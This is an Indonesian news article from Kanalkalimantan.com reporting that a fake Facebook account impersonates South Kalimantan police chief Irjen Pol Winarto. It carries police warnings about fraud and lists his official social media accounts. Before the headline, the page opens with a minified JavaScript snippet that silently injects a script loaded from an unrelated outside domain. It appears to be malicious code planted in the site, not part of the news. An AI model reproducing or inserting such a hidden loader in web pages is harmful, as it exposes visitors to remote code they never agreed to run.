(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Foto dan Nama Kapolda Kalsel Dicatut Jadi Akun Medsos


KANALKALIMANTAN.COM, BANJARMASIN – Belakangan ini muncul sebuah akun di media sosial (medsos) facebook mengatasnamakan Kapolda Kalimantan Selatan (Kalsel) Irjen Pol Winarto.

Akun baru tersebut bernama @WinartoSilvana dengan foto profil Kapolda Kalsel Irjen Pol Winarto yang berdiri bersama Kapolda Sulawesi Selatan (Sulsel) Irjen Pol Andi Rian Djajadi.

Detail akun tersebut menyebutkan Kapolda Kalsel pernah bersekolah di Angkatan Kepolisian (Akpol), SMA Negeri 5 Surakarta, dan SMP Negeri 3 Surakarta. Kemudian ditulis tinggal di Barabai Provinsi Kalsel.

Belakangan diketahui akun tersebut adalah palsu dan bukan dibuat atau dikelola Kapolda Kalsel.

Baca juga: Pohon Besar di Kawasan Masjid Sabilal Muhtadin Tumbang ke Jalan

Kabid Humas Polda Kalsel Kombes Pol Adam Erwindi mengkonfirmasi adanya akun palsu tersebut. Ia mengimbau agar masyarakat waspada terhadap akun yang mengatasnamakan Kapolda Kalsel Irjen Pol Winarto tersebut.

Ia menenekankan kewaspadaan masyarakat terhadap potensi tindkaan penipuan oleh pihak yang tidak bertanggung jawab. Hal itu dilakukan untuk mencegah masyarakat menjadi korban penipuan yang bisa saja terjadi dengan modus akun palsu mengatasnamakan pejabat kepolisian.

“Kami ingatkan masyarakat agar lebih berhati-hati dan waspada terhadap informasi yang diterima melalui medsos atau pesan elektronik yang mencurigakan. Kapolda Kalsel atau aparat kepolisian tidak akan pernah meminta uang atau informasi pribadi melakukan platform tersebut,” katanya, Selasa (16/1/2024).

Kombes Pol Adam juga menegaskan jika tindakan penipuan menggunkan nama pejabat kepolisian adalah tindakan yang melanggar hukum. Masyarakat pun diminta untuk segera melaporkan ke pihak berwajib apabila menemui atau menajdi korban penipuan.

Baca juga: Tradisi “Maambil Barakat” Sohibul Haul Sekumpul

Pihak Polda Kalsel, kata Kombes Adam, saat ini sudah berkoordinasi dan bekerja sama dengan pihak penyedia platform menutup dan penyedia layanan pesan untuk mengidentifikasi dan menutup akun-akun  palsu yang dapat merugikan orang lain.

“Kami telah berkoordinasi dengan pihak terkiat untuk mengatasi permasalahan ini. Tetapi kami juga membutuhkan bantuan dan partisipasi aktif masyarakat untuk melaporkan akun-akun palsu agar dapat segera ditindaklanjuti,” ujarnya.

Sementara itu, Polda Kalsel telah merilis akun resmi  Kapolda Kalsel Irjen Pol Winarto. Akun resmi di plafrom Instagram yaitu @winarto.official, Facebook @Winarto.Official, tiktok @winartoofficial, dan akun X @winartoofficial. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie

 


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.